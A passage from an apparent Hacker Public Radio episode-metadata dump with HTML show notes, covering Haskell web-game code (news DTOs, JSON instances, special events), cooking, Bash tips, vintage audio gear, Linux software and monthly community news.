                                                            instance ToDto PlanetFoundNews PlanetFoundNewsDto where\n    toDto news =\n        PlanetFoundNewsDto { planetFoundNewsDtoPlanetName = planetFoundNewsPlanetName news\n                           , planetFoundNewsDtoSystemName = planetFoundNewsSystemName news\n                           , planetFoundNewsDtoSystemId = planetFoundNewsSystemId news\n                           , planetFoundNewsDtoPlanetId = planetFoundNewsPlanetId news\n                           , planetFoundNewsDtoDate = planetFoundNewsDate news\n                           }\n\ninstance ToDto NewsArticle NewsArticleDto where\n    toDto news =\n        case news of\n            (StarFound x) -> StarFoundDto $ toDto x\n            (PlanetFound x) -> PlanetFoundDto $ toDto x\n            (UserWritten x) -> UserWrittenDto $ toDto x\n            (DesignCreated x) -> DesignCreatedDto $ toDto x\n            (ConstructionFinished x) -> ConstructionFinishedDto $ toDto x
                                                            \n

                                                            Finally, we want to wrap our news into something that has all the common info (id and link to icon to show)

                                                            \n
                                                            data NewsDto = NewsDto\n    { newsDtoId    :: Key News\n    , newsContents :: NewsArticleDto\n    , newsIcon     :: Text\n    }\n    deriving (Show, Read, Eq)
                                                            \n

                                                            IconMapper knows how to turn NewsArticleDto (in this case) to corresponding link to the icon. Notice how our ToDto instance includes IconMapper in addition to Key and NewsArticle:

                                                            \n
                                                            instance ToDto ((Key News, NewsArticle), (IconMapper NewsArticleDto)) NewsDto where\n    toDto ((nId, article), icons) =\n        let\n            content = toDto article\n        in\n        NewsDto { newsDtoId = nId\n                , newsContents = content\n                , newsIcon = runIconMapper icons content\n                }
                                                            \n

                                                            Sideshow: IconMapper

                                                            \n

                                                            IconMapper is a function that knows how to retrieve url to icon that matches the given parameter (for example NewsArticleDto in this case):

                                                            \n
                                                            newtype IconMapper a =\n    IconMapper { runIconMapper :: a -> Text }
                                                            \n

                                                            One possible implementation that knows how to deal with NewsArticleDto. We have two levels of hierarchicy here, because UserNewsDto has special rules for figuring out which icon to use:

                                                            \n
                                                            iconMapper :: (Route App -> Text) -> IconMapper UserNewsIconDto -> IconMapper NewsArticleDto\niconMapper render userIconMapper =\n    IconMapper $ article ->\n        case article of\n            PlanetFoundDto _->\n                render $ StaticR images_news_planet_png\n\n            UserWrittenDto details ->\n                runIconMapper userIconMapper $ userWrittenNewsDtoIcon details\n    ...
                                                            \n

                                                            Back to JSON

                                                            \n

                                                            I wrote ToJSON and FromJSON instances by hand, because I wanted full control on how the resulting JSON looks like. It’s possible to configure how template Haskell names fields for example, but I think that writing these out couple of times is good practice and makes sure that I understand what’s going on behind the scenes if I use template Haskell later.

                                                            \n
                                                            instance ToJSON NewsDto where\n    toJSON (NewsDto { newsDtoId = nId\n                    , newsContents = contents\n                    , newsIcon = icon }) =\n        object [ "id" .= nId\n               , "contents" .= contents\n               , "tag" .= jsonTag contents\n               , "icon" .= icon\n               , "starDate" .= newsStarDate contents\n               ]\n\ninstance ToJSON PlanetFoundNewsDto where\n    toJSON (PlanetFoundNewsDto { planetFoundNewsDtoPlanetName = pName\n                               , planetFoundNewsDtoSystemId = sId\n                               , planetFoundNewsDtoPlanetId = pId\n                               , planetFoundNewsDtoSystemName = sName\n                               }) =\n        object [ "planetName" .= pName\n               , "systemName" .= sName\n               , "planetId" .= pId\n               , "systemId" .= sId\n               ]
                                                            \n

                                                            Time to put it all together

                                                            \n

                                                            Handler function authenticates user, check they’re member of a faction and then loads all the news:

                                                            \n
                                                            getApiMessageR :: Handler Value\ngetApiMessageR = do\n    (_, _, fId) <- apiRequireFaction\n    loadAllMessages fId
                                                            \n

                                                            Loading messages involves multiple steps:

                                                            \n
                                                              \n
                                                            • retrieve News from database\n
                                                                \n
                                                              • correct faction, not dismissed, sort by date
                                                              • \n
                                                            • \n
                                                            • parse them into ( Key News, NewsArticle )
                                                            • \n
                                                            • get Url render function
                                                            • \n
                                                            • create mapper for user icons
                                                            • \n
                                                            • map all NewsArticles into ( NewsArticleDto, IconMapper )
                                                            • \n
                                                            • turn them into JSON and return that to client
                                                            • \n
                                                            \n
                                                            loadAllMessages :: Key Faction -> HandlerFor App Value\nloadAllMessages fId = do\n    loadedMessages <- runDB $ selectList [ NewsFactionId ==. fId\n                                         , NewsDismissed ==. False ] [ Desc NewsDate ]\n    let parsedMessages = parseNewsEntities loadedMessages\n    render <- getUrlRender\n    let userIcons = userNewsIconMapper render\n    return $ toJSON $ map (toDto . (flip (,) (iconMapper render userIcons))) parsedMessages
                                                            \n

                                                            \n\n

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, yesod","version":0,"downloads":0,"valid":1}, {"id":2734,"date":"2019-01-24","title":"Mashpodder","duration":1139,"summary":"A poor rushed attempt at covering the excellent podcast client mashppoder","notes":"

                                                            After I recorded this episode I had a little look on the HPR site I found that Ken Fallon had already covered mashpodder, no doubt he did a better job than me as this was done in a bit of a rush.

                                                            \n

                                                            Hopefully somebody will find this of some use

                                                            \n

                                                            Related links below:-

                                                            \n\n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Podcast, ncurses, command-line","version":0,"downloads":0,"valid":1}, {"id":2735,"date":"2019-01-25","title":"Soffritto","duration":138,"summary":"A short episode on a common cookery technique","notes":"

                                                            Hello and a belated Happy New Year to you all in HPR land, Ken has recently made a call for more shows as the queue is a little light at the moment so I was pondering what to waffle on about.

                                                            \n

                                                            You may know from a couple of my previous shows that as well as being into tech and Linux I’m also a keen Cook, and try and prepare as much of the food we eat at home from scratch as possible.

                                                            \n

                                                            One of the keys to good dishes is a base of sweated vegetables such as onion, celery carrot and garlic which when cooked in olive oil, is called a Soffritto in Italian cookery. In other parts of the Mediterranean and Latin America where Europeans settled this base to dishes may include other vegetables such as peppers, tomatoes and mushrooms, and have other names such as mirepoix (/mɪərˈpwɑː/ meer-PWAH); but the idea is the same to give a base flavour to soups, sauces, risotto and stew type dishes.

                                                            \n

                                                            Although not called the same thing this is also replicated in Asian cookery where spices and other aromatics are included such as ginger, lemon grass, chillies, cumin and coriander seeds.

                                                            \n

                                                            While it is not obligatory to start dishes in such a way if you do use a base of flavours like this when cooking you will find that the finished dish has a more complex and deep flavour at the end, so if you don’t do this give it a try.

                                                            \n

                                                            A simple starter is to make a tomato sauce for pasta using a base of finely chopped onion, celery, carrot and garlic soften all the vegetables in a pan with some olive oil, add a tin of tomatoes or jar of passata (sieved tomatoes) reduce for 10-15 minutes until all the flavours combine and use as a sauce over pasta with grated cheese.

                                                            \n

                                                            https://en.wikipedia.org/wiki/Sofrito

                                                            \n","hostid":338,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"Food, cookery, how to, food preparation","version":0,"downloads":0,"valid":1}, {"id":2736,"date":"2019-01-28","title":"Response to show 2720","duration":1104,"summary":"Some suggestions on how to improve a Bash script","notes":"

                                                            Introduction

                                                            \n

                                                            On January 4th 2019 Ken Fallon did a great show entitled hpr2720 :: Download youtube channels using the rss feeds where he presented a Bash script called youtube-rss.bash for managing YouTube downloads through RSS feeds.

                                                            \n

                                                            Ken said he welcomed constructive feedback

                                                            \n

                                                            When I see a Bash script these days I usually find myself looking for ways to rewrite it to make it fit in with what I have been learning while doing my Bash Tips sub-series. Either that or I find it’s got some better ideas than I’ve been using which I have to find out about.

                                                            \n

                                                            I also spend time going over my own old scripts (I was writing them in the 1990’s in some cases) and trying to incorporate newer Bash features.

                                                            \n

                                                            Suffice it to say that I spotted some areas for improvement in Ken’s script and thought this might be the way to share my thoughts about them. We’re low on shows as I write this, so that gave me more motivation to make a show rather than add a comment or send Ken an email.

                                                            \n

                                                            Apology: I’m still suffering from the aftermath of some flu-like illness so have had to edit coughing fits out of the audio at various points. If you detect any remnants then I’m sorry!

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,ShellCheck","version":0,"downloads":0,"valid":1}, {"id":2737,"date":"2019-01-29","title":"My Pioneer RT-707 Reel-to-Reel Tape Deck","duration":1381,"summary":"An intro to more of my legacy audio equipment.","notes":"

                                                            I've had this Pioneer RT-707 reel-to-reel tape deck for something like 10 years, but only recently started using it with enthusiasm. In this episode I talk about the tape deck, about the technology, and about my memories of using this kind of audio tape as a kid. I demonstrate playback of one of my parents' mix tapes, and I also used this machine to record the last few minutes of the podcast onto a reel to reel tape, which of course I then had to transfer back to digital before submitting the show.

                                                            \n\n

                                                            Click image below to see a photo album relating to the tape deck.

                                                            \n\n\"Pioneer\n\n

                                                            Tape deck in action (video)

                                                            \n\n

                                                            \n\"Tape\n

                                                            \n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"audio, vintage audio, stereo components, audio tape, recording","version":0,"downloads":0,"valid":1}, {"id":2738,"date":"2019-01-30","title":"My Applications","duration":229,"summary":"just a short show on the applications I use on my Linux Mint Box","notes":"

                                                            Hi again, this is Tony Hughes from Blackpool in the UK. Ken is still short of shows so here is another quick show to help out with the queue.

                                                            \n

                                                            This one is going to be about the applications I use on my Linux Mint 19.1 install. I’ve been using Linux for over 10 years now and during that time have never felt that there was anything that was lacking in the software department for day to day productivity and general day to day use, so this is just a list of some of the things that I, and I suspect most computer users, need to make electronic life a reality.

                                                            \n

                                                            So for internet browsing I use Firefox, I’ve been using this since my Windows days and it was just natural that, as this is the default web browser in Linux Mint, that this is what I would continue to use when I moved over to Linux.

                                                            \n

                                                            Email – I have several web based accounts which means these are operating system agnostic, but for my Internet Service provider account I use Thunderbird to download and store my e-mail onto my main desktop PC. I can also use this to access my web based accounts and store emails for these off line as well if needed.

                                                            \n

                                                            Office productivity is provided for with LibreOffice which is a very mature and comprehensive office suite comprising of all the main tools needed such as a word processor, spreadsheet and presentation software. It also has a Database and drawing package, and for maths geeks an advanced maths formula creating program which I have never used, but could be very useful for students and scientists.

                                                            \n

                                                            For audio and video playback I use VLC which again is something I first used back in my windows days, it works with all the audio and video codecs you can throw at it, and if you have the Libdvdcss codecs installed will play proprietary DVD’s.

                                                            \n

                                                            For recording and editing audio including this podcast I use Audacity, which is again a cross platform programme and a very powerful piece of software, as myself and many others that use it will be able to tell you

                                                            \n

                                                            So that is a short list of the programmes that I use on a day to day basis. I hope you found it useful, if not it doesn’t matter as Ken still got a show out of me.

                                                            \n

                                                            Well that’s it for this one. This is Tony Hughes signing off for now.

                                                            \n","hostid":338,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"productivity software","version":0,"downloads":0,"valid":1}, {"id":2739,"date":"2019-01-31","title":"Bash Tips - 19","duration":1553,"summary":"Arrays in Bash (part 4)","notes":"

                                                            Arrays in Bash (Supplemental auxiliary Bash tips)

                                                            \n

                                                            This is the fourth and last of a small group of shows on the subject of arrays in Bash. It is also the nineteenth show in the Bash Tips sub-series.

                                                            \n

                                                            In the last show we continued with the subject of parameter expansion in the context of arrays. There are other aspects of this that could be looked at, but we’ll leave it for the moment and may revisit it in the future.

                                                            \n

                                                            In this episode we will look in more depth at the declare (typeset) built in command and at some commands that are related (readonly and local), We will also look at the commands that assist with loading data into arrays: mapfile (readarray) and read.

                                                            \n

                                                            Long notes

                                                            \n

                                                            As usual I have provided detailed notes and examples for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n\n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,array,declare,typeset,local,readonly,read,mapfile,readarray","version":0,"downloads":0,"valid":1}, {"id":2740,"date":"2019-02-01","title":"Pop!_OS 18.10 (quick) review","duration":438,"summary":"In this episode, Yannick does a quick review of Pop OS 18.10","notes":"

                                                            This episode is a re-edition of the review of Pop_OS! I did for TuxJam back in December 2018. Pop_OS! is published by System76.

                                                            \n","hostid":370,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux,distro,distribution,pop_os,system76,ubuntu","version":0,"downloads":0,"valid":1}, {"id":2741,"date":"2019-02-04","title":"HPR Community News for January 2019","duration":4598,"summary":"Yannick Dave and Ken talk about shows released and comments posted in January 2019","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2717Tue2019-01-01Mobile Device SecurityEdward Miro / c1ph0r
                                                            2718Wed2019-01-02Genre In Storytellinglostnbronx
                                                            2719Thu2019-01-03Bash Tips - 17Dave Morriss
                                                            2720Fri2019-01-04Download youtube channels using the rss feedsKen Fallon
                                                            2721Mon2019-01-07HPR Community News for December 2018HPR Volunteers
                                                            2722Tue2019-01-08RAID 6 a short descriptionJWP
                                                            2723Wed2019-01-09Using Elm in context of 4X game clientTuula
                                                            2724Thu2019-01-10Using a DIN Rail to mount a Raspberry PiDave Morriss
                                                            2725Fri2019-01-11The Illumos Shutdown Command Explainedklaatu
                                                            2726Mon2019-01-14Home Theater - Part 2 Software (High Level)operat0r
                                                            2727Tue2019-01-15PasswordsEdward Miro / c1ph0r
                                                            2728Wed2019-01-16The Unreliable Narrator In Storytellinglostnbronx
                                                            2729Thu2019-01-17Bash Tips - 18Dave Morriss
                                                            2730Fri2019-01-18Resizing images for vcard on AndroidKen Fallon
                                                            2731Mon2019-01-21My 8 bit ChristmasAndrew Conway
                                                            2732Tue2019-01-22Storytelling formula complianceklaatu
                                                            2733Wed2019-01-23Writing Web Game in Haskell - News and NotificationsTuula
                                                            2734Thu2019-01-24MashpodderMrX
                                                            2735Fri2019-01-25SoffrittoTony Hughes AKA TonyH1212
                                                            2736Mon2019-01-28Response to show 2720Dave Morriss
                                                            2737Tue2019-01-29My Pioneer RT-707 Reel-to-Reel Tape DeckJon Kulp
                                                            2738Wed2019-01-30My ApplicationsTony Hughes AKA TonyH1212
                                                            2739Thu2019-01-31Bash Tips - 19Dave Morriss
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 29 comments in total.

                                                            \n

                                                            There are 8 comments on\n4 previous shows:

                                                            \n
                                                            • hpr2629\n(2018-08-30) \"Thoughts on language learning part 3 - game/story mode.\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\ndodddummy on 2019-01-08:\n\"The Stanley Parable\"

                                                              \n
                                                            • hpr2668\n(2018-10-24) \"Explaining the controls on my Amateur HF Radio Part 3\"\nby MrX.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nMrX on 2019-01-10:\n\"Re Comment 1 from Michael\"
                                                              • \n
                                                              • \nComment 4:\nMrX on 2019-01-10:\n\"Re Comment 2 from lostnbronx\"

                                                              \n
                                                            • hpr2709\n(2018-12-20) \"Bash Tips - 16\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\ndodddummy on 2019-01-08:\n\"In case you are worried Dave will run out of material\"
                                                              • \n
                                                              • \nComment 2:\nDave Morriss on 2019-01-08:\n\"Bash-5.0\"

                                                              \n
                                                            • hpr2712\n(2018-12-25) \"Steganography\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nShortFatBaldGuy on 2019-01-04:\n\"Great episode/series\"
                                                              • \n
                                                              • \nComment 3:\nKlaatu on 2019-01-07:\n\"no lucky winners\"
                                                              • \n
                                                              • \nComment 4:\nKlaatu on 2019-01-07:\n\"Thanks Scott\"

                                                              \n
                                                            \n

                                                            There are 21 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr2717\n(2019-01-01) \"Mobile Device Security\"\nby Edward Miro / c1ph0r.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2719\n(2019-01-03) \"Bash Tips - 17\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2019-01-07:\n\"Things I didn't know\"
                                                              • Comment 2:\nDave Morriss on 2019-01-07:\n\"Substring manipulation\"

                                                              \n
                                                            • hpr2721\n(2019-01-07) \"HPR Community News for December 2018\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2019-01-15:\n\"Very nice show!\"
                                                              • Comment 2:\nWindigo on 2019-01-16:\n\"Listening through the back catalog\"

                                                              \n
                                                            • hpr2725\n(2019-01-11) \"The Illumos Shutdown Command Explained\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2019-01-11:\n\"Quite a Different Shutdown\"

                                                              \n
                                                            • hpr2726\n(2019-01-14) \"Home Theater - Part 2 Software (High Level)\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2728\n(2019-01-16) \"The Unreliable Narrator In Storytelling\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2019-01-17:\n\"As a means for telling two stories at once ?\"

                                                              \n
                                                            • hpr2731\n(2019-01-21) \"My 8 bit Christmas\"\nby Andrew Conway.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2019-01-23:\n\"amazing memories\"
                                                              • Comment 2:\nDave Morriss on 2019-01-23:\n\"This was a real treat\"
                                                              • Comment 3:\nJon Kulp on 2019-01-23:\n\"I love legacy hardware\"
                                                              • Comment 4:\ntimttmy on 2019-01-23:\n\"first contact\"
                                                              • Comment 5:\nrtsn on 2019-01-25:\n\"c0mment\"
                                                              • Comment 6:\nMike Ray on 2019-01-25:\n\"Jealous\"

                                                              \n
                                                            • hpr2734\n(2019-01-24) \"Mashpodder\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2019-01-17:\n\"Coincidentally...\"
                                                              • Comment 2:\nMrX on 2019-01-20:\n\"Re Coincidentally...\"

                                                              \n
                                                            • hpr2737\n(2019-01-29) \"My Pioneer RT-707 Reel-to-Reel Tape Deck\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJon Kulp on 2019-01-29:\n\"Tape counter is functioning now\"
                                                              • Comment 2:\nBookewyrmm on 2019-01-29:\n\"ancient media\"
                                                              • Comment 3:\nJon Kulp on 2019-01-29:\n\"Victrola episode\"
                                                              • Comment 4:\nDave Morriss on 2019-01-29:\n\"Wow! What a beautiful tape deck!\"
                                                              • Comment 5:\nJon Kulp on 2019-01-29:\n\"I want one!\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-January/thread.html\n\n\n

                                                            Any other business

                                                            \n
                                                              \n
                                                            • Google+ is going away on April 2nd. Everything is going to be deleted so backup your files before then.

                                                            • \n
                                                            • Mad Sweeney wrote to inform us about https://dnsflagday.net/ Some “DNS software and service providers […] have agreed to coordinate removing accommodations for non-compliant DNS implementations from their software or services, on or around February 1st 2019”

                                                            • \n
                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Over the period tags and/or summaries have been added to 11 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2742,"date":"2019-02-05","title":"SAP Hana Certification Directory","duration":1085,"summary":"How the SAP Hana certification works","notes":"

                                                            SAP Hana certification is a long and hard process covered at
                                                            \nhttps://www.sap.com/dmc/exp/2014-09-02-hana-hardware/enEN/index.html

                                                            ","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"SAP HANA,certification","version":0,"downloads":0,"valid":1}, {"id":2743,"date":"2019-02-06","title":"Character build in the d20 system","duration":3949,"summary":"Klaatu and Lostnbronx build an RPG character in the d20 system of Starfinder","notes":"

                                                            Klaatu and Lostnbronx spend an hour building an RPG character at a leisurely, and hopefully informative, pace. While the build process here is technically specific to the sci-fi (or science fantasy, really) game Starfinder, the idea is to convey the generic process of stepping through a character build instruction, cross-referencing important rules, and generally learning how to build a character in an unfamiliar system.\n

                                                            ","hostid":78,"series":99,"explicit":0,"license":"CC-BY-SA","tags":"Starfinder,RPG,character,build","version":0,"downloads":0,"valid":1}, {"id":2744,"date":"2019-02-07","title":"Yet Another Rambling Drive Into Work","duration":2022,"summary":"Yet another rambling attempt at making a show on the way into work","notes":"

                                                            I came across this show sitting in my digital recorder I recorded it back in November 2017 but never posted it, my thoughts on some of the things I mention in this show have since evolved, I’ll stick these changed thoughts at the end of these notes and may also stick in an extra recorded section at the end of the show.

                                                            \n\n

                                                            Here are the changes since I recorded this show in November 2017, it is now October 2018.

                                                            \n

                                                            Think there was a £4,500 pound grant on new EV cars however it has been announced that this grant will in the near future will be cut to £3500.

                                                            \n

                                                            I think the Government and Nissan together had a £2000 contribution scheme when you traded in an old car for a 2nd hand leaf I think this is no longer available now that the leaf is more popular.

                                                            \n

                                                            Fuel costs have gone up and I may have miscalculated I think my true annual fuel bill is nearer to £2,000

                                                            \n

                                                            Nissan leaf road tax is free

                                                            \n

                                                            Because of supply and demand the depreciation situation has completely changed had I bought this leaf in November 2017 it would now be worth more today in October 2018. Only time will tell how it all pans out, things are changing rapidly.

                                                            \n

                                                            After further investigation it looks like battery degradation is less than I first thought and would likely still be in pretty good condition at 6 years old, particularly in a cooler country like here in the UK in Scotland.

                                                            \n

                                                            There has been some controversy about the new 40kw leaf which may also impact in the older leaf making the older leaf’s more appealing contributing further to the high demand for the older 30kw and 24kw leafs.
                                                            \nhttps://en.wikipedia.org/wiki/Nissan_Leaf#Criticism
                                                            \nhttps://www.greencarreports.com/news/1116139_2018-nissan-leaf-electric-car-is-there-a-fast-charging-problem

                                                            \n

                                                            With the increased popularity of the older 24 and 30Kw leafs Nissan may no longer be so keen to give you a no quibble test drive.

                                                            \n

                                                            I think it’s looking increasingly like I made the wrong decision.

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Podcast, Cars","version":0,"downloads":0,"valid":1}, {"id":2745,"date":"2019-02-08","title":"My YouTube Subscriptions #1","duration":1262,"summary":"Part one of my list of subscribed channels","notes":"

                                                            I am subscribed to a number of YouTube channels, and I am sharing them with you

                                                            \n\n","hostid":198,"series":106,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, Channels, Subscriptions","version":0,"downloads":0,"valid":1}, {"id":2746,"date":"2019-02-11","title":"My software part 2","duration":326,"summary":"More about the software I use regularly on Linux ","notes":"

                                                            Good day to all in HPR land, this is Tony Hughes coming to you from Blackpool in the UK again. This is a second instalment about some of the software I use on Linux Mint 19.1, on a regular basis. So without further ado lets get on with the show.

                                                            \n
                                                              \n
                                                            • USB Image writer

                                                            • \n
                                                            • VirtualBox – Virtualisation software to virtualise x86 and AMD64 bit PC’s

                                                            • \n
                                                            • OBS – Open Broadcast software

                                                            • \n
                                                            • Brasero/XFburn – CD/DVD writing software

                                                            • \n
                                                            • GIMP – GNU Image manipulation Program

                                                            • \n
                                                            \n

                                                            So that’s it for this episode. I’ll be back to talk about some of the utilities I use on Mint on another show. This is Tony Hughes signing off for now.

                                                            \n","hostid":338,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux Mint 19.1,utilities","version":0,"downloads":0,"valid":1}, {"id":2747,"date":"2019-02-12","title":"checking oil","duration":317,"summary":"checking your oil may not be so simple","notes":"
                                                            \n

                                                            a 914 shows up…
                                                            \nit has a 911 engine…
                                                            \ni check the oil…
                                                            \nthe car lives…

                                                            \n
                                                            \n","hostid":329,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"automotive","version":0,"downloads":0,"valid":1}, {"id":2748,"date":"2019-02-13","title":"Writing Web Game in Haskell - Special events","duration":2645,"summary":"Tuula walks through implementation of special events in web based game","notes":"

                                                            Intro

                                                            \n

                                                            I was tasked to write kragii worms in the game and informed that they’re small (10cm / 4 inches) long worms that burrow in ground and are drawn to farming fields and people. They’re dangerous and might eat harvest or people.

                                                            \n

                                                            Special events build on top of the new system I explained in episode 2733. They are read from same API as regular news and need same ToJSON, FromJSON, ToDto and FromDto instances as regular news (for translating them data transfer objects and then into JSON for sending to client).

                                                            \n

                                                            Loading

                                                            \n

                                                            Starting from the API interface, the first real difference is when JSON stored into database is turned into NewsArticle. Two cases, where special news have available options added to them and regular news are left unchanged. These options tell player what choices they have when dealing with the situation and evaluated every time special event is loaded, because situation might have changed since special event got stored into database and available options might have changed.

                                                            \n
                                                            addOptions (key, article) = case article of\n                                Special news ->\n                                    (key, Special $ availableOptions news)\n                                _ ->\n                                    (key, article)\n\navailableOptions :: SpecialNews -> SpecialNews\navailableOptions x =\n    case x of\n        KragiiWorms event _ choice ->\n            KragiiWorms event (eventOptions event) choice
                                                            \n

                                                            eventOptions is one of the events defined in SpecialEvent type class that specifies two functions every special event has to have. eventOptions lists what options the event has currently available and resolveEvent resolves the event according to choice user might have made (hence Maybe in it).

                                                            \n

                                                            Type class is parametrized with three types (imaginatively named to a, b and c). First is data type that holds information about special event (where it’s happening and to who for example), second one is one that tells all possible choices player has and third one lists various results that might occur when resolving the event. In this example they’re KragiiWormsEvent, KragiiWormsChoice and KragiiResults.

                                                            \n
                                                            data KragiiWormsEvent = KragiiWormsEvent\n    { kragiiWormsPlanetId   :: Key Planet\n    , kragiiWormsPlanetName :: Text\n    , kragiiWormsSystemId   :: Key StarSystem\n    , kragiiWormsSystemName :: Text\n    , kragiiWormsDate       :: Int\n    }\n\ndata KragiiWormsChoice =\n    EvadeWorms\n    | AttackWorms\n    | TameWorms\n\ndata KragiiResults =\n    WormsStillPresent\n    | WormsRemoved\n    | WormsTamed\n    | CropsDestroyed (RawResource Biological)\n    | FarmersInjured
                                                            \n

                                                            Definition of the SpecialEvent type class is shown below. Type signature of resolveEvent is gnarly because it’s reading and writing database.

                                                            \n
                                                            class SpecialEvent a b c | a -> b, a -> c where\n    eventOptions :: a -> [UserOption b]\n    resolveEvent :: ( PersistQueryRead backend, PersistQueryWrite backend\n                    , MonadIO m, BaseBackend backend ~ SqlBackend ) =>\n                    (Key News, a) -> Maybe b -> ReaderT backend m (Maybe EventRemoval, [c])
                                                            \n

                                                            One more piece we need is UserOption. This records options in a format that is useful in the client side. Each option player has are given title and explanation that are shown on UI.

                                                            \n
                                                            data UserOption a =\n    UserOption { userOptionTitle :: Text\n               , userOptionExplanation :: [Text]\n               , userOptionChoice :: a\n               }
                                                            \n

                                                            Current implementation of eventOptions doesn’t allow database access, but I’m planning on adding that at the point where I need it. Example doesn’t show all different options, as they all have same structure. Only first option in the list is shown:

                                                            \n
                                                            eventOptions _ = [ UserOption { userOptionTitle = "Avoid the worms"\n                              , userOptionExplanation = [ "Keep using fields, while avoiding the worms and hope they'll eventually leave."\n                                                        , "50 units of biologicals lost"\n                                                        , "25% chance of worms leaving"\n                                                        ]\n                              , userOptionChoice = EvadeWorms\n                            }\n                   , ...\n                   ]
                                                            \n

                                                            Making choice

                                                            \n

                                                            putApiMessageIdR handles updating news with HTTP PUT messages. First steps is to check that caller has autenticated and retrieve id of their faction. News article that is transferred in body as JSON is parsed and checked for type. Updating regular news articles isn’t supported and is signaled with HTTP 403 status code. One more check to perform is to check that news article being edited actually belong to the faction player is member of. If that’s not the case HTTP 404 message is returned.

                                                            \n

                                                            If we got this far, news article is updated with the content sent by client (that also contains possible choice made by user). There’s no check that type of news article doesn’t change or that the option selected doesn’t change (I need to add these at later point). In the end, list of all messages is returned back to the client.

                                                            \n
                                                            putApiMessageIdR :: Key News -> Handler Value\nputApiMessageIdR mId = do\n    (_, _, fId) <- apiRequireFaction\n    msg <- requireJsonBody\n    let article = fromDto msg\n    _ <- if isSpecialEvent article\n            then do\n                loadedMessages <- runDB $ selectList [ NewsId ==. mId\n                                                     , NewsFactionId ==. fId ] [ Asc NewsDate ]\n                if length loadedMessages == 0\n                    then apiNotFound\n                    else runDB $ update mId [ NewsContent =. (toStrict $ encodeToLazyText article) ]\n            else apiForbidden "unsupported article type"\n    loadAllMessages fId
                                                            \n

                                                            Resolving event

                                                            \n

                                                            Special event occured, user made (or did not) a choice. Now it’s time to simulate what happens. Below is resolveEvent for kragii attack.

                                                            \n
                                                            resolveEvent keyEventPair (Just choice) =\n    runWriterT . runMaybeT $\n        case choice of\n                EvadeWorms ->\n                    chooseToAvoid keyEventPair\n\n                AttackWorms ->\n                    chooseToAttack keyEventPair\n\n                TameWorms ->\n                    chooseToTame keyEventPair\n\nresolveEvent keyEventPair Nothing =\n    runWriterT . runMaybeT $ noChoice keyEventPair
                                                            \n

                                                            runWriterT and runMaybeT are used as code being called uses monad transformers to add some extra handling. WriterT adds ability to record data (KragiiResult in this case) and MaybeT adds ability to stop computation early if one of the steps return Nothing value.

                                                            \n

